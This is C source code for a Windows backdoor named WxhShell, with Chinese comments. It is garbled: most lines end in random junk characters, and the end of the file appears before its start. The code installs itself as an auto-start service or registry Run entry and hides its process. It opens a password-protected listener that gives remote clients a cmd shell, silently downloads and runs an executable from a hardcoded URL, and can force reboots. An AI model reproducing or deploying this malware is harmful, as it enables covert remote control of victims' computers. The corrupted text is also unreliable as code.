    if(Boot(SHUTDOWN)) /u`3VOn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WlV z,t'if  
    else { F?u^"}%Fc  
    closesocket(wsh); y^Vw`-e  
    ExitThread(0); 1ndJ+H0H  
    } w %c  
    break; W3&tJ8*3  
    } 'P laMOy  
  // 获取shell 4'Xgk8)  
  case 's': { C;Ic  
    CmdShell(wsh); 7OVbP%n)d2  
    closesocket(wsh); I,ci >/+b  
    ExitThread(0); _2hXa!yO  
    break; k$Rnj`*^  
  } wU`!B<,j  
  // 退出 ]lS@}W\  
  case 'x': { Q0_>'sEM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ybg- "w  
    CloseIt(wsh); yPu4T6Vv  
    break; ( 0Naf  
    } J?n<ydZSH  
  // 离开 Zt@Z=r:&  
  case 'q': { -Dzsa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f+Dn9t  
    closesocket(wsh); w7-WUvxl  
    WSACleanup(); XD-^w_  
    exit(1); ,xths3.K  
    break; gJ3c;  
        } N;HIsOT}t  
  } 9.M{M06;  
  } O\OE0[[  
{SG>'KXZ  
  // 提示信息 :Dl% _l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >_ X/[<  
} X1A<$Am1  
  } Vf-5&S&9  
Omag)U)IPh  
  return; {.k)2{  
} Zv qn%K],  
$T }Tz7(  
// shell模块句柄 -NM0LTF  
int CmdShell(SOCKET sock) hPdx(E)8!d  
{ H5nS%D  
STARTUPINFO si; ^m7~:=K7WG  
ZeroMemory(&si,sizeof(si)); 3+YbA)i;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h ?#@~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jB@4b 'y  
PROCESS_INFORMATION ProcessInfo; !rTmR@e$/  
char cmdline[]="cmd"; (:\LWJX0=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G+"8l!dC?  
  return 0; S7n"3.k  
} X)uDSI~  
q42FP q  
// 自身启动模式 ua 8m;>R  
int StartFromService(void) FUeq \Wuo  
{ *+lsZ8'^C  
typedef struct gs`^~iD]m  
{ LxJ6M/".  
  DWORD ExitStatus; Ff"gadRXd  
  DWORD PebBaseAddress; i (HByI  
  DWORD AffinityMask; h(xP_Svj>  
  DWORD BasePriority; [@{0o+.]'H  
  ULONG UniqueProcessId; oEzDMImJ5  
  ULONG InheritedFromUniqueProcessId; e^e$mtI  
}   PROCESS_BASIC_INFORMATION; MV+i{]  
3;$bS<>  
PROCNTQSIP NtQueryInformationProcess; h8^i\j  
d,'!.#e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]1fZupM^6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "D> ]ES%5  
ValS8V*N1  
  HANDLE             hProcess;  pbB2wt  
  PROCESS_BASIC_INFORMATION pbi; \~"#ld(x7  
6w#nkF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DBbc|I/[l  
  if(NULL == hInst ) return 0; LXhaD[1Rb  
Qp:6= o0:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d$1 #<-yP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4nX(:K}>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %"7WXOv&z  
n@B{vyy  
  if (!NtQueryInformationProcess) return 0; qw:9zYG}qW  
T_L6 t66I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !p% @Deu  
  if(!hProcess) return 0; F +j O*F2h  
=Nl5{qYz^&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ."JzDs   
l]vohLz 3!  
  CloseHandle(hProcess); fykI,!  
Oje|bxQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H2\1gNL  
if(hProcess==NULL) return 0; sX'U|)/pD  
1*R_"#  
HMODULE hMod; 1=TSJ2{ 9  
char procName[255]; MTB@CP!u  
unsigned long cbNeeded; xw%)rm<t  
GAJ~$AiwHH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); URw!7bTz  
ZDlu1>Q  
  CloseHandle(hProcess); PHkDb/HIx|  
Z% Z"VoxH  
if(strstr(procName,"services")) return 1; // 以服务启动 ggCr-  
T <A   
  return 0; // 注册表启动 ^_w*XV  
} j:?N!*r=  
` !kL1oUYE  
// 主模块 7x+=7,BZd  
int StartWxhshell(LPSTR lpCmdLine) FuMq|S  
{ ~x+Ykq0  
  SOCKET wsl; Hs<n^fyf  
BOOL val=TRUE; e 2*F;.)  
  int port=0; LV=^jsQ5  
  struct sockaddr_in door; -R@JIe_28f  
,^+#M{Z  
  if(wscfg.ws_autoins) Install(); 2E$i_jc  
1E^{B8cm  
port=atoi(lpCmdLine); m3%ef  
LY1KQuY  
if(port<=0) port=wscfg.ws_port; ftW{C1,U7  
*K!7R2Rat  
  WSADATA data; M 5rwoyn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (+$ol'i  
\6c8z/O7   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I3ho(Kdi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gL,"ef+nM  
  door.sin_family = AF_INET; p[;8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b.6ZfB,+G  
  door.sin_port = htons(port); T:@7 S  
BGA%"b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hOSf'mi  
closesocket(wsl); 5)x6Q|-u  
return 1; toN  
} 4 f3=`[%  
!SN WB  
  if(listen(wsl,2) == INVALID_SOCKET) { |<QI%Y$dr  
closesocket(wsl); wV %8v\  
return 1; V4oak!}?  
} d.b?! kn  
  Wxhshell(wsl); 6o9sR)c ?  
  WSACleanup(); XL?A w  
oEPNN'~3  
return 0; G/%Ubi6%  
B^Bbso'{1  
} k{qLkcOg=  
\ j x0ZHR  
// 以NT服务方式启动 I<9n(rA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ){jqfkL  
{ D;J|eC>^  
DWORD   status = 0; Vy&f"4~  
  DWORD   specificError = 0xfffffff; !}j,TPpG  
WkcH5[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zdT->%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y"s )u7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8t--#sDy{0  
  serviceStatus.dwWin32ExitCode     = 0; s.bT[0Vl  
  serviceStatus.dwServiceSpecificExitCode = 0; @qpYDnJ:  
  serviceStatus.dwCheckPoint       = 0; JYl\<Z' {  
  serviceStatus.dwWaitHint       = 0; +0dQORo  
O '@m4@L   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0\ZaMu #  
  if (hServiceStatusHandle==0) return; wFn@\3%l`  
AE]i V{p  
status = GetLastError(); )fy <P;g  
  if (status!=NO_ERROR) ~t$mw,  
{ A &;EV#]ge  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y]M^n&f  
    serviceStatus.dwCheckPoint       = 0; ;*"!:GR%h  
    serviceStatus.dwWaitHint       = 0; ''%;EW>  
    serviceStatus.dwWin32ExitCode     = status; *u<rU,C8  
    serviceStatus.dwServiceSpecificExitCode = specificError; giQ{Xrj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h<Jc;ht  
    return; tu7+LwF7  
  } {rtM%%l  
QR|XV%$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }ty"fI3&iY  
  serviceStatus.dwCheckPoint       = 0; tru;;.lj8K  
  serviceStatus.dwWaitHint       = 0; LAizx^F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [}jj<!9A_;  
} @'@s*9Nr  
3^j~~ "2,w  
// 处理NT服务事件,比如:启动、停止 y @]8Ep  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DBLA% {05  
{ $hyqYp"/;  
switch(fdwControl) uT'-B7N  
{ #: dR^zr<  
case SERVICE_CONTROL_STOP: C,9)V5!tP2  
  serviceStatus.dwWin32ExitCode = 0; D9e+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Zj:a-=  
  serviceStatus.dwCheckPoint   = 0; $^!a`Xr  
  serviceStatus.dwWaitHint     = 0; u'#`yTB6b  
  { uDpf2(>s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 87&KQ_  
  } |E"Xavi>  
  return; }g%KvYB_  
case SERVICE_CONTROL_PAUSE: _ .-o%6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u-8X$aJ  
  break; )[e%wPu4e  
case SERVICE_CONTROL_CONTINUE: ZTN:|IKT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W\nHX I  
  break; lNq:JVJ#\r  
case SERVICE_CONTROL_INTERROGATE: Jslk  
  break; E \ K  
}; E`A<]dAoK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L"Qh_+   
} i5ajM,i/K  
R>/QA RX  
// 标准应用程序主函数 "$`wk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2U=/<3;u  
{ ^#<: <X6  
<K=@-4/Bp  
// 获取操作系统版本 [K"U_b}w  
OsIsNt=GetOsVer(); e6tH/`Uln  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N*_/@qM> a  
z Y$X|= f  
  // 从命令行安装 "3U{h]  
  if(strpbrk(lpCmdLine,"iI")) Install(); zz7Y/653  
4iYgs-,  
  // 下载执行文件 %RCl+hOP.h  
if(wscfg.ws_downexe) { ]+^;vc 1r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s_S<gR  
  WinExec(wscfg.ws_filenam,SW_HIDE); NqQM! B]  
} ^8o_Iz)r,  
B2ek&<I7N  
if(!OsIsNt) { :t2 9`x  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z;|0"K  
HideProc(); vjOG?-  
StartWxhshell(lpCmdLine); %igFHh?  
} lM@<_=2  
else aF; ]7i@  
  if(StartFromService()) &CB.*\0  
  // 以服务方式启动 hqhu^.}]  
  StartServiceCtrlDispatcher(DispatchTable); 1qB!RIau  
else h,!G7V  
  // 普通方式启动 h|(Z XCH  
  StartWxhshell(lpCmdLine); 1YF+(fk  
?.rH;:9To  
return 0; hQd@bN8  
} }}4 sh5z  
4yJ*85e]  
@%I_&!d  
>?\v@   
=========================================== $UFge%`,q@  
reqfgNg  
X/- W8  
fD3jwPL  
,ZzB#\  
)vEHLp.  
" a>&;K@  
|Ak =-.  
#include <stdio.h> 4~m.#6MT  
#include <string.h> cu.*4zs  
#include <windows.h> 4Vb}i[</  
#include <winsock2.h> 6b#:H~ <  
#include <winsvc.h> zkT`] @`J  
#include <urlmon.h> /ZIJ<#o[  
Q`@$j,v  
#pragma comment (lib, "Ws2_32.lib") '%n<MTL  
#pragma comment (lib, "urlmon.lib") w (vE2Y ?  
,w9#%=xE  
#define MAX_USER   100 // 最大客户端连接数 O X5Co <u  
#define BUF_SOCK   200 // sock buffer zAkc 67:  
#define KEY_BUFF   255 // 输入 buffer IF36K^K  
[5Y$L  
#define REBOOT     0   // 重启 KG4#BY&^  
#define SHUTDOWN   1   // 关机 W|r+J8  
k *G!.  
#define DEF_PORT   5000 // 监听端口 i&}zcGC  
tn:/pPap  
#define REG_LEN     16   // 注册表键长度 ~7,2N.vO2  
#define SVC_LEN     80   // NT服务名长度 azR;*j8Q'  
QKUBh-QFK  
// 从dll定义API 6 h0U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JA SR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ABq{<2iYN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T/Wm S?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7 BnenHD  
0]h8)EW  
// wxhshell配置信息 Y?&DEKFbD  
struct WSCFG { &0th1-OP_  
  int ws_port;         // 监听端口 4mM2C`I  
  char ws_passstr[REG_LEN]; // 口令 YvxMA#  
  int ws_autoins;       // 安装标记, 1=yes 0=no c5wkzY h  
  char ws_regname[REG_LEN]; // 注册表键名 3gV&`>@  
  char ws_svcname[REG_LEN]; // 服务名 ATMogxh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  23(E3:.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |;U}'|6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #^4>U&?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MW",r;l<aM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #2lvfR|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fbzKO^Ub  
dm/\uE'l  
}; Hl3XqR  
j J`Zz  
// default Wxhshell configuration C\a:eSgaC  
struct WSCFG wscfg={DEF_PORT, 53,,%Ue  
    "xuhuanlingzhe", guUr1Ij  
    1, d=4f`q0k  
    "Wxhshell", 8~[C'+r  
    "Wxhshell", uJ)=+Exii  
            "WxhShell Service", f9 l<$l  
    "Wrsky Windows CmdShell Service", o {Xw Li  
    "Please Input Your Password: ", |peMr#  
  1, VhH]n yi7D  
  "http://www.wrsky.com/wxhshell.exe", aaf_3UH.B  
  "Wxhshell.exe" $cJN9|$6  
    }; avxn}*:X.  
$)TF,-#x  
// 消息定义模块 ExOB P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]"7DV3_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u7Y'3x,`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _/sf@R  
char *msg_ws_ext="\n\rExit."; ?lET45'  
char *msg_ws_end="\n\rQuit."; G2yUuyAZ  
char *msg_ws_boot="\n\rReboot..."; "{ry 9?z  
char *msg_ws_poff="\n\rShutdown..."; rlO%%Qn`  
char *msg_ws_down="\n\rSave to "; Dt~}9HrU  
mBpsgm:g^  
char *msg_ws_err="\n\rErr!"; WRcFE<  
char *msg_ws_ok="\n\rOK!"; `6BS-AVO7  
FbCZV3Y  
char ExeFile[MAX_PATH]; |B{$URu  
int nUser = 0; 'j"N2NJ  
HANDLE handles[MAX_USER]; P8,{k  
int OsIsNt; 6JFDRsX>)?  
N>}K+M>  
SERVICE_STATUS       serviceStatus; lPFdQ8M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (15Yw9Mv  
YqY6\ mo  
// 函数声明 >NOYa3  
int Install(void); hRy }G'0  
int Uninstall(void); 'd.@4 9  
int DownloadFile(char *sURL, SOCKET wsh); t0V_ c'm  
int Boot(int flag); }DUDA%U  
void HideProc(void); j]?0}Z*  
int GetOsVer(void); PRk%C0`  
int Wxhshell(SOCKET wsl); ^; V>}08  
void TalkWithClient(void *cs); |YGiATD4DG  
int CmdShell(SOCKET sock); Bbt8fJA~  
int StartFromService(void); s[B6%DI/5  
int StartWxhshell(LPSTR lpCmdLine); Y"/UYxCm|&  
JbC\l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6:EH5IO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u<y\iZ[   
b%!`fn-;  
// 数据结构和表定义 6P*)rye  
SERVICE_TABLE_ENTRY DispatchTable[] = kN9sug^  
{ /6+%(f}7l  
{wscfg.ws_svcname, NTServiceMain}, B]KLn?zt5  
{NULL, NULL} eRx[&-c  
}; $W_o$'crW  
'3u]-GU2_  
// 自我安装 1uge>o&  
int Install(void) UWWD8~:  
{ ep}/dBg  
  char svExeFile[MAX_PATH]; >3 .ep},  
  HKEY key; vBn=bb'W  
  strcpy(svExeFile,ExeFile); 8rG&CxI  
4^NHf|UJH  
// 如果是win9x系统,修改注册表设为自启动 g1*H|n h2  
if(!OsIsNt) { W &wDH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7}1Kafs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +heS\I_Mp  
  RegCloseKey(key); ])wMUJWg2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /qq&'}TZP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wY ;8UN  
  RegCloseKey(key); *T2&$W|_a  
  return 0; yg[;  
    } ^57fHlw  
  } cKYvRe  
} L{0OMyUA  
else { 7n 95>as  
IM5^E#-g7  
// 如果是NT以上系统,安装为系统服务 a=B0ytNm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5NF&LM;i(  
if (schSCManager!=0) qCkg\)Ks5I  
{ DF[b?  
  SC_HANDLE schService = CreateService u4+uGYr*@  
  ( Jx9%8Ek  
  schSCManager, vzm4  
  wscfg.ws_svcname, E|4XQ|B@  
  wscfg.ws_svcdisp, 2V"gqJHv  
  SERVICE_ALL_ACCESS, 5GFnfc}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XK/@!ud"`  
  SERVICE_AUTO_START, \\G6c4 fC  
  SERVICE_ERROR_NORMAL, ,M h/3DPgE  
  svExeFile, O/^w! :z'  
  NULL, dDn4nwH  
  NULL, LLHOWD C(2  
  NULL, ;)]zv\fC  
  NULL, f>+}U;)EF  
  NULL wG?kcfu  
  ); w@ylRq  
  if (schService!=0) R"t$N@ZFb  
  { '/*c Yv45  
  CloseServiceHandle(schService);  ~0'l,  
  CloseServiceHandle(schSCManager); IIn\{*|mW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x15tQb+  
  strcat(svExeFile,wscfg.ws_svcname); r~2@#gTbl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3 <lhoD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7%}3Ghc%  
  RegCloseKey(key); DJ [#H  
  return 0; f EiEfu  
    } +,^M{^%  
  } <({eOh5 N  
  CloseServiceHandle(schSCManager); {]Iu">*  
} U`p<lxRgQ  
} _w/N[E  
`LU,uz  
return 1; d lLk4a+  
} .*f4e3  
kpw4Mq@  
// 自我卸载 W!B4< 'Fjc  
int Uninstall(void) wP':B AQ4U  
{ 2^ZPO4|  
  HKEY key; "#k(V=y  
&8i{'k,l  
if(!OsIsNt) { wEc5{ b5M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }o:sx/=u_  
  RegDeleteValue(key,wscfg.ws_regname); cH-Zj  
  RegCloseKey(key); y]Tn#4 ,/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c@B%`6kF  
  RegDeleteValue(key,wscfg.ws_regname); (g:W|hS  
  RegCloseKey(key); <\~#\A=;  
  return 0; B@vH1T  
  } ,:4w$!;  
} "wC5hj]  
} f4I9H0d;!  
else { _NnO mwK7  
K$5P_~;QL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `gs,JJ6N  
if (schSCManager!=0) Ru aJ9O  
{ SfFR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F^G`Jf  
  if (schService!=0) DmPsltpzQ  
  { 64X#:t+  
  if(DeleteService(schService)!=0) { c qyh#uWe  
  CloseServiceHandle(schService); [ =2In;  
  CloseServiceHandle(schSCManager); 7Ej#7\TB]  
  return 0; 6b01xu(A[  
  } D?F5o^e"h<  
  CloseServiceHandle(schService); &Q+V I/p  
  } eSBf;lr=  
  CloseServiceHandle(schSCManager); s? #lhI  
} bd*(]S9d  
} O~OWRJ@p  
A3pQ?d[  
return 1; \bSHBTK  
} IE f^.Z  
\^LR5S&  
// 从指定url下载文件 {/!Gh\i  
int DownloadFile(char *sURL, SOCKET wsh) vkgL"([_  
{ Q^w]Nj(e_  
  HRESULT hr; pdiZ"pe  
char seps[]= "/"; ve^MqW&S  
char *token; EC#10.  
char *file; *~^^A9C8  
char myURL[MAX_PATH]; =V 7w CW  
char myFILE[MAX_PATH]; KptLeb:Om  
.. TjEBp  
strcpy(myURL,sURL); YDD]n*&  
  token=strtok(myURL,seps); &L~rq)r/&  
  while(token!=NULL) 5c7a\J9>  
  { 6Ymk8.PF  
    file=token; e' VXyf  
  token=strtok(NULL,seps); E_rC"_Zte  
  } C8q-gP[  
:+!b8[?Z  
GetCurrentDirectory(MAX_PATH,myFILE); ;rL$z;}8  
strcat(myFILE, "\\"); L-$g& -  
strcat(myFILE, file); LXV6Ew5E  
  send(wsh,myFILE,strlen(myFILE),0); =ApT#*D)o  
send(wsh,"...",3,0); *60)Vo.=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ".<p R} qp  
  if(hr==S_OK) e'&{KD,-T  
return 0; rP4@K%F9jB  
else 9ksrr{tW  
return 1; BZshTP[`  
x&Rp m<4  
}  N&.p\T&t  
n #/m7  
// 系统电源模块 our5k   
int Boot(int flag) qJj5J;k  
{ 9V\`{(R  
  HANDLE hToken; 0O4mA&&!oK  
  TOKEN_PRIVILEGES tkp; EtGr& \,  
o]U ==  
  if(OsIsNt) { ]NsaFDi\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rRel\8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V= PoQ9d  
    tkp.PrivilegeCount = 1; ^]gl#&"D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {'kL]qLg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pBkPn+@  
if(flag==REBOOT) { =^vUb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @7'gr>_E  
  return 0; _4Pi>  
} Hefqzu  
else { {!h[@f4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >,vuC4v-  
  return 0; {p iS3xBi  
} j(JI$  
  } E}2[P b)e  
  else { h+(s/o?\  
if(flag==REBOOT) { X ii#Qtd.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IA `  
  return 0; b@hoH)<9E  
} |D:0BATRP  
else { ')cu/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yl])Q|2I  
  return 0;  t m?  
} 5{TF6  
} Y;>'~V#R  
(tN$G:+")F  
return 1; UxtZBNn8  
} #cb6~AH  
[y>.)BU  
// win9x进程隐藏模块 Cj9Tj'0@I+  
void HideProc(void) BW 7[JD  
{ S:s^si2/  
pE N`&'4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H(s^le:!  
  if ( hKernel != NULL ) o+&sodt|`  
  { i,T{SV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Rw`s O:eZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); * =l9gv&  
    FreeLibrary(hKernel); QNFrkel  
  } ' M!_k+e  
Xy +|D#b  
return; B#yyO>0k]  
} {r)M@@[  
jtwO\6 t&  
// 获取操作系统版本 ',pPs=  
int GetOsVer(void) Q23y.^W%c  
{ .O^|MhBJu  
  OSVERSIONINFO winfo; 0 CS_-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {5h_$a!TaU  
  GetVersionEx(&winfo); (%Rs&/vU~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oP6G2@3P/  
  return 1; hlZjk0ez  
  else J4i0+u  
  return 0; /'&L M\  
} sJWwkR  
O"Q=66.CR  
// 客户端句柄模块 [tN/}_]  
int Wxhshell(SOCKET wsl) WyETg!b[  
{ e|P60cd /  
  SOCKET wsh; VrK5a9*^  
  struct sockaddr_in client; Zj;!7ZuT1  
  DWORD myID; p\K5B,  
>smaR^m  
  while(nUser<MAX_USER) I1,?qr"Zr  
{ l?;S>s*\?  
  int nSize=sizeof(client); 5Fl|=G+3@g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C#R9Hlb  
  if(wsh==INVALID_SOCKET) return 1; hCgNS1%4  
\+\h<D-5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K0]Wb=v  
if(handles[nUser]==0) M*N8p]3Cq  
  closesocket(wsh); )UJMmw\  
else D[mYrWHpn  
  nUser++; jI%yi-<;  
  } DI\sq8J^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Fwr,e;Z  
P$bo8*  
  return 0; EbQ}w"{  
} *bx cq  
.z"[z^/uF  
// 关闭 socket T"jl;,gr]J  
void CloseIt(SOCKET wsh) LFC k6 R  
{ >+r2I%  
closesocket(wsh); vh C"f*  
nUser--; ?m6E@.{  
ExitThread(0); ]2jnY&a5  
} G r)+O  
]rS+v^@QH  
// 客户端请求句柄 C1J'. !  
void TalkWithClient(void *cs) -_3.]o/J  
{ b%BwGS(z  
:vjbuqN]  
  SOCKET wsh=(SOCKET)cs; 3]i1M%'i  
  char pwd[SVC_LEN]; C6`8dn   
  char cmd[KEY_BUFF]; RUEU n  
char chr[1]; "Xqj%\  
int i,j;  ulQE{c[  
&V"&SV>}  
  while (nUser < MAX_USER) { n!p&.Mt  
?S_S.Bd  
if(wscfg.ws_passstr) { R~i<*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <+a\'Xc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); " O4Z).5q3  
  //ZeroMemory(pwd,KEY_BUFF); JF7T1T  
      i=0; -[=`bHo  
  while(i<SVC_LEN) { X:A\{^ ~  
>nxtQ  
  // 设置超时 d={}a,3?  
  fd_set FdRead; V;!D:N8<  
  struct timeval TimeOut; ^6`U0|5mRX  
  FD_ZERO(&FdRead); l},%g%}iMU  
  FD_SET(wsh,&FdRead); p82qFzq#  
  TimeOut.tv_sec=8; i=ba=-"Mt  
  TimeOut.tv_usec=0; z)26Ahm TV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o|+tRl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F~B8XUa3  
Ah,Zm4:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i[<O@Rb  
  pwd=chr[0]; 6Z$T& Ul{  
  if(chr[0]==0xd || chr[0]==0xa) { W +S>/`N  
  pwd=0; k`-L5#`  
  break; w*+rBp,f  
  } =<g\B?s]  
  i++; C}!|K0t?  
    } [8"nRlXH  
V;m3=k0U  
  // 如果是非法用户,关闭 socket ^^Ius ]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,FTF@h-Cs  
} T<OLfuV  
A1|:$tED+2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %63<Iz"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 43eGfp'  
gnv4.f:  
while(1) { [L8gG.wy  
sJ,zB[e8  
  ZeroMemory(cmd,KEY_BUFF); Gqs8$[o  
SbB5J> >7J  
      // 自动支持客户端 telnet标准   Z'EZPuZ!'  
  j=0; rg`"m  
  while(j<KEY_BUFF) { R\<^A~(Gl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *"#>Ov>  
  cmd[j]=chr[0]; GB -=DC6  
  if(chr[0]==0xa || chr[0]==0xd) { lY~xoHT;[  
  cmd[j]=0; ,Zdc  
  break; t~Uqsa>n@'  
  } HJ2]xe09  
  j++; {DpZg",H-  
    } FOZqN K  
^}WeBU  
  // 下载文件 @g{=f55  
  if(strstr(cmd,"http://")) { u+Li'Ug  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n_aKciF  
  if(DownloadFile(cmd,wsh)) !u^(<.xJ   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k8h$#@^  
  else ?0%lB=qQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X1+Wb9P  
  } [P[syi#]t  
  else { +%FG ti$[  
